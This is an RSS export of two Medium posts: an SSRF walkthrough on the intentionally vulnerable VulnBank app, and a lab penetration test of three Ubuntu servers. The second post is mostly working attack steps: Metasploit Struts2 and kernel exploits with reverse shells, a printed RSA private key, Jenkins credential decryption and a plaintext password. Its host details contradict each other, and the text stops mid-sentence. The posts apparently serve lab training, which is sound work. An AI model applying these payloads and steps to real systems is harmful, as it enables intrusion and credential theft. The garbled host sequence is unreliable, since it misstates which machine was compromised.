<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Nataanakuria on Medium]]></title>
        <description><![CDATA[Stories by Nataanakuria on Medium]]></description>
        <link>https://medium.com/@nataanakuria?source=rss-868fb6bf77fe------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*Cj0NexUDEBRbFn1h</url>
            <title>Stories by Nataanakuria on Medium</title>
            <link>https://medium.com/@nataanakuria?source=rss-868fb6bf77fe------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 20 Nov 2026 18:51:50 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@nataanakuria/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SSRF on VulnBank(https://github.com/Commando-X/vuln-bank]]></title>
            <link>https://medium.com/@nataanakuria/ssrf-on-vulnbank-https-github-com-commando-x-vuln-bank-fc8b0494acfa?source=rss-868fb6bf77fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/fc8b0494acfa</guid>
            <dc:creator><![CDATA[Nataanakuria]]></dc:creator>
            <pubDate>Tue, 13 Jan 2026 21:17:34 GMT</pubDate>
            <atom:updated>2026-01-13T21:17:34.196Z</atom:updated>
            <content:encoded><![CDATA[<h3>SSRF on VulnBank(<a href="https://github.com/Commando-X/vuln-bank">https://github.com/Commando-X/vuln-bank</a> ): Exploiting Profile Picture Upload to Extract AWS Credentials</h3><h3>Introduction</h3><p>Server-Side Request Forgery (SSRF) is a critical web vulnerability that allows attackers to make the server perform unauthorized requests to internal resources. In this post, I’ll walk through exploiting an SSRF vulnerability in VulnBank, an intentionally vulnerable banking application, to extract sensitive AWS IAM credentials through the EC2 metadata service.</p><h3>What is SSRF?</h3><p>SSRF occurs when a web application fetches remote resources based on user-supplied URLs without proper validation. Attackers can abuse this to:</p><ul><li>Access internal services not exposed to the internet</li><li>Scan internal networks</li><li>Retrieve sensitive metadata from cloud providers</li><li>Bypass firewall restrictions</li><li>Interact with internal APIs</li></ul><h3>Discovery: The Profile Picture Upload Feature</h3><p>While testing VulnBank, I discovered a profile picture upload feature that accepts URLs. The endpoint /upload_profile_picture_url allows users to provide an image URL, which the server fetches and stores.</p><h3>Initial Request</h3><pre>POST /upload_profile_picture_url HTTP/1.1<br>Host: localhost:5000<br>Content-Type: application/json<br>Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...</pre><pre>{<br>  &quot;image_url&quot;: &quot;https://images.unsplash.com/photo-1761839258075-585182da7521?w=500&amp;auto=format&amp;fit=crop&amp;q=60&amp;ixlib=rb-4.1.0&amp;ixid=M3wxMjA3fDF8MHxmZWF0dXJlZC1waG90b3MtZmVlZHwxfHx8ZW58MHx8fHx8&quot;<br>}</pre><h3>Response</h3><pre>{<br>  &quot;debug_info&quot;: {<br>    &quot;content_length&quot;: 32347,<br>    &quot;fetched_url&quot;: &quot;https://images.unsplash.com/photo-1761839258075-585182da7521...&quot;,<br>    &quot;http_status&quot;: 200<br>  },<br>  &quot;file_path&quot;: &quot;static/uploads/48790_photo-1761839258075-585182da7521&quot;,<br>  &quot;message&quot;: &quot;Profile picture imported from URL&quot;,<br>  &quot;status&quot;: &quot;success&quot;<br>}</pre><p>The response includes interesting debug information showing the server is fetching the URL and returning the HTTP status. This is a red flag for potential SSRF.</p><h3>Exploitation: Targeting the Metadata Service</h3><h3>Understanding EC2 Metadata Service</h3><p>AWS EC2 instances have access to a special metadata service at http://169.254.169.254/latest/meta-data/. This service provides instance information, including IAM role credentials. Since VulnBank is running locally (not on actual EC2), it simulates this service at <a href="http://127.0.0.1:5000/latest/meta-data/">http://127.0.0.1:5000/latest/meta-data/.</a></p><h3>Step 1: Testing Internal Access</h3><p>I modified the request to target the local metadata endpoint:</p><pre>POST /upload_profile_picture_url HTTP/1.1<br>Host: localhost:5000<br>Content-Type: application/json<br>Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9...</pre><pre>{<br>  &quot;image_url&quot;: &quot;http://127.0.0.1:5000/latest/meta-data&quot;<br>}</pre><p><strong>Response:</strong></p><pre>HTTP/1.0 200 OK<br>Content-Disposition: inline; filename=240161_meta-data<br>Content-Type: application/octet-stream<br>Content-Length: 72</pre><pre>ami-id<br>hostname<br>iam/<br>instance-id<br>local-ipv4<br>public-ipv4<br>security-groups</pre><p>Success! The server fetched the internal metadata endpoint and returned a directory listing. The iam/ entry is particularly interesting as it typically contains AWS credentials.</p><h3>Step 2: Navigating to IAM Credentials</h3><p>Next, I explored the IAM path:</p><pre>{<br>  &quot;image_url&quot;: &quot;http://127.0.0.1:5000/latest/meta-data/iam&quot;<br>}</pre><p><strong>Response:</strong></p><pre>security-credentials/</pre><h3>Step 3: Discovering the Role Name</h3><pre>{<br>  &quot;image_url&quot;: &quot;http://127.0.0.1:5000/latest/meta-data/iam/security-credentials&quot;<br>}</pre><p><strong>Response:</strong></p><pre>vulnbank-role</pre><p>Now I know the IAM role name is vulnbank-role.</p><h3>Step 4: Extracting AWS Credentials</h3><p>Finally, I requested the full credentials:</p><pre>{<br>  &quot;image_url&quot;: &quot;http://127.0.0.1:5000/latest/meta-data/iam/security-credentials/vulnbank-role&quot;<br>}</pre><p><strong>Response:</strong></p><pre>{<br>  &quot;AccessKeyId&quot;: &quot;ASIADEMO1234567890&quot;,<br>  &quot;Code&quot;: &quot;Success&quot;,<br>  &quot;Expiration&quot;: &quot;2026-01-13T22:04:55.638370&quot;,<br>  &quot;LastUpdated&quot;: &quot;2026-01-13T21:04:55.638361&quot;,<br>  &quot;RoleArn&quot;: &quot;arn:aws:iam::123456789012:role/vulnbank-role&quot;,<br>  &quot;SecretAccessKey&quot;: &quot;wJalrXUtnFEMI/K7MDENG/bPxRfiCYDEMODEMO&quot;,<br>  &quot;Token&quot;: &quot;IQoJb3JpZ2luX2VjEJ//////////wEaCXVzLXdlc3QtMiJIMEYCIQCdemo&quot;,<br>  &quot;Type&quot;: &quot;AWS-HMAC&quot;<br>}</pre><h3>Impact</h3><p>With these AWS credentials, an attacker could:</p><ol><li><strong>Access AWS Resources</strong>: Use the credentials to authenticate to AWS services</li><li><strong>Data Exfiltration</strong>: Download sensitive data from S3 buckets</li><li><strong>Privilege Escalation</strong>: Potentially access other AWS resources depending on role permissions</li><li><strong>Lateral Movement</strong>: Pivot to other cloud services and resources</li><li><strong>Financial Damage</strong>: Spin up expensive EC2 instances or other billable resources</li></ol><p>The RoleArn shows this is a legitimate IAM role with potentially broad permissions across the AWS account.</p><h3>Why This Vulnerability Exists</h3><p>The vulnerable code likely looks something like this:</p><pre>@app.route(&#39;/upload_profile_picture_url&#39;, methods=[&#39;POST&#39;])<br>def upload_profile_picture_url():<br>    data = request.get_json()<br>    image_url = data.get(&#39;image_url&#39;)<br>    <br>    # VULNERABLE: No validation of URL<br>    response = requests.get(image_url)<br>    <br>    # Save and return debug info<br>    return jsonify({<br>        &#39;status&#39;: &#39;success&#39;,<br>        &#39;debug_info&#39;: {<br>            &#39;fetched_url&#39;: image_url,<br>            &#39;http_status&#39;: response.status_code,<br>            &#39;content_length&#39;: len(response.content)<br>        }<br>    })</pre><p>The application blindly fetches any URL provided by the user without:</p><ul><li>Validating the URL scheme</li><li>Checking against a blocklist/allowlist</li><li>Restricting access to internal networks</li><li>Sanitizing the response</li></ul><h3>Remediation</h3><h3>1. Input Validation</h3><p>Implement strict URL validation:</p><pre>from urllib.parse import urlparse</pre><pre>ALLOWED_SCHEMES = [&#39;https&#39;]<br>BLOCKED_HOSTS = [<br>    &#39;127.0.0.1&#39;, &#39;localhost&#39;, &#39;0.0.0.0&#39;,<br>    &#39;169.254.169.254&#39;,  # AWS metadata<br>    &#39;::1&#39;,  # IPv6 localhost<br>]<br>BLOCKED_NETWORKS = [<br>    &#39;10.0.0.0/8&#39;,<br>    &#39;172.16.0.0/12&#39;,<br>    &#39;192.168.0.0/16&#39;,<br>]</pre><pre>def is_url_safe(url):<br>    parsed = urlparse(url)<br>    <br>    # Only allow HTTPS<br>    if parsed.scheme not in ALLOWED_SCHEMES:<br>        return False<br>    <br>    # Block internal hosts<br>    if parsed.hostname in BLOCKED_HOSTS:<br>        return False<br>    <br>    # Block private IP ranges<br>    # (implement IP range checking)<br>    <br>    return True</pre><h3>2. Use Allowlists</h3><p>Only permit fetching from known, trusted domains:</p><pre>ALLOWED_DOMAINS = [&#39;unsplash.com&#39;, &#39;imgur.com&#39;, &#39;cloudinary.com&#39;]</pre><pre>def is_domain_allowed(url):<br>    parsed = urlparse(url)<br>    return any(parsed.hostname.endswith(domain) for domain in ALLOWED_DOMAINS)</pre><h3>3. Network Segmentation</h3><ul><li>Deploy the application in a network segment without access to sensitive internal resources</li><li>Use AWS VPC endpoints and security groups to restrict metadata access</li><li>Implement firewall rules to block outbound requests to internal IPs</li></ul><h3>4. Disable or Restrict Metadata Service</h3><p>On AWS EC2, use IMDSv2 which requires token-based authentication:</p><pre>aws ec2 modify-instance-metadata-options \<br>    --instance-id i-1234567890abcdef0 \<br>    --http-tokens required \<br>    --http-put-response-hop-limit 1</pre><h3>5. Remove Debug Information</h3><p>Never expose internal request details to users:</p><pre># BAD<br>return jsonify({<br>    &#39;debug_info&#39;: {<br>        &#39;fetched_url&#39;: image_url,<br>        &#39;http_status&#39;: response.status_code<br>    }<br>})</pre><pre># GOOD<br>return jsonify({<br>    &#39;status&#39;: &#39;success&#39;,<br>    &#39;message&#39;: &#39;Profile picture updated&#39;<br>})</pre><h3>6. Implement Timeout and Size Limits</h3><pre>try:<br>    response = requests.get(<br>        image_url,<br>        timeout=5,  # 5 second timeout<br>        stream=True<br>    )<br>    <br>    # Limit response size<br>    max_size = 5 * 1024 * 1024  # 5MB<br>    if int(response.headers.get(&#39;content-length&#39;, 0)) &gt; max_size:<br>        return jsonify({&#39;error&#39;: &#39;File too large&#39;}), 400<br>        <br>except requests.Timeout:<br>    return jsonify({&#39;error&#39;: &#39;Request timeout&#39;}), 400</pre><h3>Detection</h3><p>Security teams can detect SSRF attempts by monitoring:</p><ol><li><strong>Application Logs</strong>: Unusual URL patterns in parameters</li><li><strong>Network Traffic</strong>: Internal requests to metadata endpoints or private IP ranges</li><li><strong>WAF Rules</strong>: Requests containing 169.254.169.254, localhost, 127.0.0.1</li><li><strong>Anomaly Detection</strong>: Unexpected internal network connections from web servers</li></ol><h3>Conclusion</h3><p>SSRF vulnerabilities in URL fetching features can have severe consequences, especially in cloud environments where metadata services expose sensitive credentials. This VulnBank example demonstrates how a seemingly innocent profile picture upload feature can be exploited to extract AWS IAM credentials.</p><p>Key takeaways:</p><ul><li>Always validate and sanitize user-supplied URLs</li><li>Use allowlists rather than blocklists when possible</li><li>Implement network segmentation and least privilege principles</li><li>Never expose internal request details in responses</li><li>Regularly test your applications for SSRF vulnerabilities</li></ul><p>Remember, this was demonstrated on an intentionally vulnerable application for educational purposes. Always obtain proper authorization before testing for vulnerabilities on production systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fc8b0494acfa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Linux Lateral Movement & Web Application Penetration Test — Complete Writeup]]></title>
            <link>https://medium.com/@nataanakuria/linux-lateral-movement-web-application-penetration-test-complete-writeup-93cc9c8d12c0?source=rss-868fb6bf77fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/93cc9c8d12c0</guid>
            <dc:creator><![CDATA[Nataanakuria]]></dc:creator>
            <pubDate>Thu, 11 Dec 2025 21:55:59 GMT</pubDate>
            <atom:updated>2025-12-11T21:55:59.253Z</atom:updated>
            <content:encoded><![CDATA[<h3>Linux Lateral Movement &amp; Web Application Penetration Test — Complete Writeup</h3><h3>Executive Summary</h3><p>This penetration test successfully compromised a segmented network containing three Ubuntu servers through a combination of vulnerability exploitation, privilege escalation, credential harvesting, and lateral movement techniques. The engagement began with the exploitation of an Apache Struts2 vulnerability and concluded with the extraction of classified intelligence from an encrypted database.</p><h3>Network Environment</h3><p><strong>Target Network:</strong> 172.16.250.0/24</p><p><strong>Attack Platform:</strong> Kali Linux (172.16.250.1)</p><p><strong>Target Systems:</strong></p><ul><li>172.16.250.12: Apache Struts2 &amp; OpenCMS Server</li><li>172.16.250.11: Jenkins CI/CD Server</li><li>172.16.250.10: MySQL Database Server</li></ul><h3>Phase 1: Reconnaissance &amp; Initial Compromise</h3><h3>Network Discovery</h3><pre>nmap -sn 172.16.250.0/24</pre><p><strong>Findings:</strong></p><ul><li>Three live hosts identified at .10, .11, and .12</li><li>Initial service enumeration revealed limited external attack surface</li></ul><h3>Service Enumeration</h3><h4>Target 1: DB VM (172.16.250.10)</h4><pre>nmap -sV -sC -p- 172.16.250.10</pre><p><strong>Open Ports:</strong></p><ul><li>22/tcp — OpenSSH 7.2p2 Ubuntu 4ubuntu2.4</li></ul><p><strong>Analysis:</strong> Only SSH is exposed. This machine will likely require credentials obtained from another compromised host.</p><h4>Target 2: Jenkins VM (172.16.250.11)</h4><pre>nmap -sV -sC -p- 172.16.250.11</pre><p><strong>Open Ports:</strong></p><ul><li>22/tcp — OpenSSH 7.2p2 Ubuntu 4ubuntu2.4</li></ul><p><strong>Analysis:</strong> Similar to the DB machine, only SSH is accessible. This suggests Jenkins may be accessible internally or requires pivoting.</p><h4>Target 3: Struts2 VM (172.16.250.12)</h4><pre>nmap -sV -sC -p- 172.16.250.12</pre><p><strong>Open Ports:</strong></p><ul><li>22/tcp — OpenSSH 7.2p2 Ubuntu 4ubuntu2.4</li><li>80/tcp — nginx 1.10.3 (Ubuntu) with Apache Tomcat backend</li><li>8009/tcp — Apache Jserv (AJP13 Protocol v1.3)</li><li>8080/tcp — Apache Tomcat 7.0.85</li></ul><p><strong>Analysis:</strong> This machine presents multiple attack vectors. The presence of Apache Tomcat 7.0.85 (released 2017) and the hostname suggesting Apache Struts2 framework indicated potential vulnerabilities.</p><h3>Vulnerability Identification</h3><p>Detailed analysis of 172.16.250.12 revealed:</p><ul><li>Port 80: nginx 1.10.3 with Apache Tomcat backend</li><li>Port 8080: Apache Tomcat 7.0.85</li><li>Port 8009: Apache Jserv (AJP13 Protocol v1.3)</li></ul><p>The Apache Tomcat version suggested potential outdated software vulnerabilities, particularly <strong>CVE-2017–5638</strong> (Apache Struts2 S2–045) — the same vulnerability exploited in the 2017 Equifax breach.</p><h3>Web Application Enumeration</h3><p><strong>Port 8080 Analysis:</strong> Browsing to http://172.16.250.12:8080 revealed the default Apache Tomcat 7.0.85 installation page.</p><p><strong>Port 80 Analysis:</strong> Browsing to http://172.16.250.12 returned an OpenCMS initialization error:</p><pre>HTTP Status 500 - Critical error during OpenCms initialization: <br>Unable to initialize the user driver.</pre><p><strong>Directory Enumeration:</strong> Testing common Struts2 application paths discovered a vulnerable application at:</p><pre>http://172.16.250.12/struts2-showcase/showcase.action</pre><p>This endpoint displayed the Struts2 Showcase application, a demonstration application that exercises various framework features.</p><h3>Initial Exploitation</h3><p><strong>Vulnerability:</strong> CVE-2017–5638 (Apache Struts2 S2–045)</p><ul><li>Remote code execution via malicious Content-Type header</li><li>Same vulnerability exploited in the 2017 Equifax breach</li></ul><p><strong>Exploitation:</strong></p><pre>msfconsole<br>use exploit/multi/http/struts2_content_type_ognl<br>set RHOSTS 172.16.250.12<br>set RPORT 80<br>set TARGETURI /struts2-showcase/showcase.action<br>set LHOST 172.16.250.1<br>exploit</pre><p><strong>Result:</strong></p><pre>[*] Started reverse TCP handler on 172.16.250.1:4444 <br>[*] Sending stage (3090404 bytes) to 172.16.250.12<br>[*] Meterpreter session 1 opened (172.16.250.1:4444 -&gt; 172.16.250.12:43748)</pre><p>Meterpreter session established as tomcat user on 172.16.250.12.</p><p><strong>System Information:</strong></p><pre>meterpreter &gt; getuid<br>Server username: tomcat</pre><pre>meterpreter &gt; sysinfo<br>Computer     : 172.16.250.12<br>OS           : Ubuntu 16.04 (Linux 4.4.0-21-generic)<br>Architecture : x64<br>Meterpreter  : x64/linux</pre><h3>Phase 2: Privilege Escalation</h3><h3>Local Vulnerability Assessment</h3><p>Metasploit’s local exploit suggester was used to identify privilege escalation opportunities:</p><pre>meterpreter &gt; background<br>use post/multi/recon/local_exploit_suggester<br>set SESSION 1<br>run</pre><p><strong>Findings:</strong> Multiple privilege escalation exploits identified, including:</p><ul><li>exploit/linux/local/bpf_priv_esc (CVE-2020-8835)</li><li>exploit/linux/local/bpf_sign_extension_priv_esc</li><li>exploit/linux/local/cve_2021_3493_overlayfs</li><li>exploit/linux/local/sudo_baron_samedit</li></ul><h3>BPF Privilege Escalation Exploitation</h3><p>Selected the BPF vulnerability as the most reliable path:</p><pre>use exploit/linux/local/bpf_priv_esc<br>set SESSION 1<br>set LHOST 172.16.250.1<br>exploit</pre><p><strong>Result:</strong></p><pre>[*] Started reverse TCP handler on 172.16.250.1:4444 <br>[*] Running automatic check (&quot;set AutoCheck false&quot; to disable)<br>[+] The target appears to be vulnerable.<br>[*] Writing &#39;/tmp/hello&#39; (9576 bytes) ...<br>[*] Writing &#39;/tmp/doubleput&#39; (13920 bytes) ...<br>[*] Writing &#39;/tmp/suidhelper&#39; (25792 bytes) ...<br>[*] Launching exploit. This may take up to 120 seconds.<br>[!] This module adds a job to /etc/crontab which requires manual removal!<br>[+] Success! set-uid root /tmp/suidhelper<br>[*] Meterpreter session 2 opened (172.16.250.1:4444 -&gt; 172.16.250.11:47226)</pre><pre>meterpreter &gt; getuid<br>Server username: root</pre><p>Successfully escalated to root privileges via CVE-2020–8835 (Linux kernel privilege escalation via BPF).</p><h3>Phase 3: Credential Discovery &amp; Lateral Movement</h3><h3>SSH Key Harvesting</h3><p>With root access on the Jenkins VM (172.16.250.11), examination of /root/.ssh/ revealed:</p><pre>meterpreter &gt; shell<br>ls -la /root/.ssh/</pre><p><strong>Files Found:</strong></p><ul><li>id_rsa - Private SSH key (1679 bytes)</li><li>id_rsa.pub - Public SSH key (393 bytes)</li><li>known_hosts - Known SSH hosts (222 bytes)</li></ul><p><strong>Private Key Contents:</strong></p><pre>cat /root/.ssh/id_rsa</pre><pre>-----BEGIN RSA PRIVATE KEY-----<br>MIIEpAIBAAKCAQEAznNePFN5swnuCBZEHTgSJFqxZrvmKdUXkr4x8gqOU32OjsEg<br>KU1aEXyYXZwMocnDowmE2ftnynlsQb4bl/v08Yif0h39MXyD3caZO9COlP4NgrXV<br>uTzl6j4LlQ3rfMucnVHvMC9Q3ClDGtOcJUwEVEHI1OHmo1dU0wUE9ZzStJnBNpch<br>lIWrIGSZEmonUxVzHVXYIXS/N6E9eH+JFTahBujajQSeIJXs/UHFv/pKRRXZKE7y<br>Zbmlt3NzwtuFLVkOGxglr5pt0ROUyyV6+xWlKcyyZblrr2Z9C8//xss4OVEaCWYm<br>duf64sW69hOAEmYUfzkULQgPWOGjkykqorPE7wIDAQABAoIBAQCEM66BtPa2psIt<br>nYyKpXBApW76mZJe8V0CFBdJpmbTohBa6+Lbb/QgRIgRUa9pHxnPWnYfXHVvW+fu<br>BX4ICkklLlchpyCOwuxyZQ2VFw1m7XTbYfN1hkC4injCP0KwDHbC60fetD30bdvR<br>3vYbkB0pk2K2p94YdQEVjB5L5dur163nktPvUj07wBspsjo/XNAqB09HBC6nleZ7<br>gchFOsneC6qe8GVXrPXV6TpvlXFqtXlCIMN/eB63A8A5WZYtuKcvh9YXuG2l7GMw<br>cB7cIfoeGBxUrRMiaY/Lg+dogfL+0GuKACImMjvAx3EJ6xuagJ6kA+XfHDft5x4k<br>MLVQ4i6xAoGBAP1RuNUbzsw8pdjauoRzhL2jDCkm80LOMVg7zzkqEN02nCgbNJdX<br>ycrRLovTCymFn4L1S3UzGwR4qY6n0joa7DGKT4t6A8nlvJ8W6ZF8YBsGqgSTTS15<br>XONjEWHiXNiDRBRkYvopgd4SBJM6JqofEkC4VjeIp9yHqMncNosguL05AoGBANCi<br>rCWy5sbkZVAOtbTC1wCf+644W3j8LRG3TDfXdl0wERueHGWtDweHLC3r+7TIU4Yn<br>b4XbvT6q/ofZBE5ptJxX43NvI5j609OkfOsV5K9qAqUntgMIHkpPOn2Vg0s9qgpx<br>V03D3YCvYUtZl3ytzdVGDNx9UqTc2sNnqqO+X7tnAoGAeO7ltV9UJ26golkxh//6<br>E+pd6Nt+cJstNXlAIYMyj9j9TaxHPCUd4eRhO0FiZ80x7HwcLPRb5pOQJtl5ZGHr<br>9m6YMPbsDhvOI4j1so3U97IDwrFru9TfgnKOHtPJDVgFTVLraZAdPp4Nbxfo03iH<br>5zvZdSOZN4/QBaZKp7rUVwkCgYEApSO9ovFiXZe24ZFjHjsCt4nqStJtBOyGN/mg<br>KKsxEz3SrMuPqqM6vDiwLYEWcNgH1K4uRgPSXWI3qguKrw5YWU/vxxT3VkVjmagf<br>AG0J4BbHFTbDiM7KOwNPRswrakja6P0hn3ojP5KSLnQxxgxEWkXiNDw2SCxQNE8/<br>7+/mEo0CgYBHiclIscUi3/hFDbPjGjYodALPj7+eu5wkp9NKUK3XzfnyQ47mvmzk<br>u0kmi3dWm8jCMY7FYo8c+DPQ3Y+iz1dzc+3MHJdrI/50G+ge/Ev9zUm4ndSdBsMa<br>OnLLG7c2sYXVz4KUFOdaXp+WxX6g6mWBAk9KvjPZe4XiBRRB73vn/w==<br>-----END RSA PRIVATE KEY-----</pre><h3>Bash History Analysis</h3><pre>cat /root/.bash_history</pre><p><strong>Critical Finding:</strong></p><pre>ssh -i .ssh/id_rsa root@172.16.250.30</pre><p>This indicated the SSH key was previously used to access another system.</p><h3>Network Configuration</h3><pre>ifconfig</pre><p><strong>Network Information:</strong></p><pre>enp0s3    Link encap:Ethernet  HWaddr 08:00:27:85:17:a5  <br>          inet addr:172.16.250.11  Bcast:0.0.0.0  Mask:255.255.255.0</pre><p>Confirmed current position on the Jenkins VM (172.16.250.11).</p><h3>First Lateral Movement</h3><p>Attempted to use the discovered SSH key to access other hosts in the network:</p><pre># Create key file<br>cat &gt; /tmp/root_key &lt;&lt; &#39;EOF&#39;<br>-----BEGIN RSA PRIVATE KEY-----<br>[Private key content]<br>-----END RSA PRIVATE KEY-----<br>EOF</pre><pre>chmod 600 /tmp/root_key</pre><pre># Attempt connection to Struts2 VM<br>ssh -i /tmp/root_key -o StrictHostKeyChecking=no root@172.16.250.12</pre><p><strong>Result:</strong></p><pre>Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-21-generic x86_64)</pre><pre>root@jenkins:~# hostname<br>jenkins</pre><p>Successfully obtained root access on the Struts2 server (172.16.250.12) via SSH key reuse.</p><h3>Phase 4: Jenkins Credential Harvesting</h3><h3>Jenkins Configuration Discovery</h3><pre>cd /home/jenkins<br>ls -la</pre><p><strong>Files Located:</strong></p><ul><li>credentials.xml - Encrypted credentials storage</li><li>secrets/master.key - Master encryption key</li><li>secrets/hudson.util.Secret - Hudson secret key</li><li>Various Jenkins configuration files</li></ul><h3>Credential Exfiltration</h3><p>Since direct file download was not available, files were base64-encoded for transfer:</p><pre>base64 credentials.xml<br>base64 secrets/master.key<br>base64 secrets/hudson.util.Secret</pre><p><strong>credentials.xml (base64):</strong></p><pre>PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz4KPGNvbS5jbG91ZGJlZXMucGx1<br>Z2lucy5jcmVkZW50aWFscy5TeXN0ZW1DcmVkZW50aWFsc1Byb3ZpZGVyIHBsdWdpbj0iY3JlZGVu<br>[... truncated for brevity ...]</pre><p><strong>master.key (base64):</strong></p><pre>ZjAyMmZkYjQ3ZGM4MDFlNmE2Nzk0NjU0N2FkNmNiNGRjYmQ5NDgxMTE3MGQzY2EwZmMyM2NmYjQy<br>[... truncated for brevity ...]</pre><p><strong>hudson.util.Secret (base64):</strong></p><pre>DYL29rfQb3MKsxY0GIEgX9Aa4y1mfYoA0zuacPOjRzkZjlH3Fp4qkpuEILK2FKbcsPjTfW0bAiAY<br>[... truncated for brevity ...]</pre><h3>Credential Decryption</h3><p>On the Kali attack machine:</p><pre>cd ~/jenkins_decrypt</pre><pre># Decode the base64-encoded files<br>echo &quot;&lt;base64_credentials.xml&gt;&quot; | base64 -d &gt; credentials.xml<br>echo &quot;&lt;base64_master.key&gt;&quot; | base64 -d &gt; master.key<br>echo &quot;&lt;base64_hudson.util.Secret&gt;&quot; | base64 -d &gt; hudson.util.Secret</pre><pre># Setup Python environment<br>python3 -m venv venv<br>source venv/bin/activate<br>pip install pycryptodome</pre><pre># Decrypt using jenkins-decrypt tool<br>python3 decrypt.py master.key hudson.util.Secret credentials.xml</pre><p><strong>Decrypted Output:</strong></p><pre>b&#39;)uDvra{4UL^;r?*h&#39;</pre><p><strong>Credentials Obtained:</strong></p><ul><li>Username: db_backup</li><li>Password: )uDvra{4UL^;r?*h</li></ul><h3>Phase 5: Database Server Compromise</h3><h3>Second Lateral Movement</h3><p>Using the decrypted credentials to access the database server:</p><pre>ssh db_backup@172.16.250.10<br>Password: )uDvra{4UL^;r?*h</pre><p><strong>Result:</strong></p><pre>Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)<br>Last login: Thu Apr 12 20:50:36 2018 from 172.16.250.10<br>$</pre><p>Successful authentication to database server.</p><h3>Privilege Escalation on Database Server</h3><pre>$ sudo -l<br>[sudo] password for db_backup: )uDvra{4UL^;r?*h</pre><p><strong>Finding:</strong></p><pre>Matching Defaults entries for db_backup on db:<br>    env_reset, mail_badpass,<br>    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin</pre><pre>User db_backup may run the following commands on db:<br>    (ALL : ALL) ALL</pre><p>The db_backup user had full sudo privileges with (ALL : ALL) ALL permissions.</p><pre>$ sudo su -<br>root@db:~#</pre><p>Successfully escalated to root access on the database server.</p><h3>Phase 6: Database Intelligence Gathering</h3><h3>MySQL Service Analysis</h3><pre>systemctl status mysql</pre><p><strong>Finding:</strong></p><pre>● mysql.service - MySQL Community Server<br>   Loaded: loaded (/lib/systemd/system/mysql.service; enabled; vendor preset: enabled)<br>   Active: active (running) since Tue 2025-12-09 15:16:16 PST; 6h ago</pre><p>MySQL Community Server was actively running.</p><h3>Database Enumeration</h3><pre>cd /var/lib/mysql<br>ls -la</pre><p><strong>Databases Identified:</strong></p><ul><li>mysql - System database</li><li>opencms - OpenCMS application database</li><li>performance_schema - Performance data</li><li>sys - System database</li><li><strong>cyberspacekittens</strong> - Target database</li></ul><h3>Target Database Examination</h3><pre>cd /var/lib/mysql/cyberspacekittens<br>ls -la</pre><p><strong>Files Found:</strong></p><ul><li>db.opt - Database options (65 bytes)</li><li>secrets.frm - Table structure (8,604 bytes)</li><li>secrets.ibd - Table data (98,304 bytes)</li></ul><h3>Phase 7: Data Extraction &amp; Decryption</h3><h3>Encoded Data Discovery</h3><pre>hexdump -C secrets.ibd | head -200</pre><p><strong>Finding:</strong> Binary data containing repeating patterns of “meow” and “purr” ASCII strings starting at offset 0x0000c090.</p><p><strong>Sample hex output:</strong></p><pre>0000c090  6d 65 6f 77 70 75 72 72  6d 65 6f 77 6d 65 6f 77  |meowpurrmeowmeow|<br>0000c0a0  6d 65 6f 77 70 75 72 72  6d 65 6f 77 6d 65 6f 77  |meowpurrmeowmeow|<br>0000c0b0  6d 65 6f 77 70 75 72 72  70 75 72 72 6d 65 6f 77  |meowpurrpurrmeow|</pre><h3>Pattern Extraction</h3><pre>grep -aoP &#39;[\x20-\x7E]{4,}&#39; secrets.ibd | grep -E &#39;^(meow|purr)+$&#39; &gt; /tmp/encoded.txt<br>cat /tmp/encoded.txt</pre><p><strong>Extracted Pattern (632 characters):</strong></p><pre>meowpurrmeowmeowmeowpurrmeowmeowmeowpurrpurrmeowpurrpurrpurrpurrmeowmeow<br>purrmeowmeowmeowmeowmeowmeowpurrmeowmeowpurrpurrpurrmeowmeowpurrmeowmeow<br>purrpurrpurrpurrmeowpurrmeowpurrmeowpurrmeowmeowmeowmeowpurrmeowmeowmeow<br>[... continues for 632 characters total ...]</pre><h3>Binary Decoding</h3><p>Created Python script to decode the meow/purr pattern:</p><pre>cat &gt; /tmp/decode.py &lt;&lt; &#39;EOF&#39;<br>#!/usr/bin/env python3</pre><pre>with open(&#39;/tmp/encoded.txt&#39;, &#39;r&#39;) as f:<br>    encoded = f.read().strip()</pre><pre># Replace meow with 0 and purr with 1<br>binary = encoded.replace(&#39;meow&#39;, &#39;0&#39;).replace(&#39;purr&#39;, &#39;1&#39;)</pre><pre>print(&quot;Binary length:&quot;, len(binary))<br>print(&quot;Binary string:&quot;, binary[:80] + &quot;...&quot;)</pre><pre># Convert binary to ASCII<br>decoded = &#39;&#39;<br>for i in range(0, len(binary), 8):<br>    byte = binary[i:i+8]<br>    if len(byte) == 8:<br>        try:<br>            decoded += chr(int(byte, 2))<br>        except:<br>            pass</pre><pre>print(&quot;\nDecoded:&quot;)<br>print(decoded)<br>EOF</pre><pre>python3 /tmp/decode.py</pre><p><strong>Output:</strong></p><pre>Binary length: 632<br>Binary string: 01000100011011110010000001001110010011110101010000100000011001110110111100100000...</pre><pre>Decoded:<br>Do NOT go to KITT-3n.  Classified documents:  cyberspacekittens.com/therealplan</pre><h3>Decrypted Intelligence</h3><p><strong>Final Secret:</strong></p><pre>Do 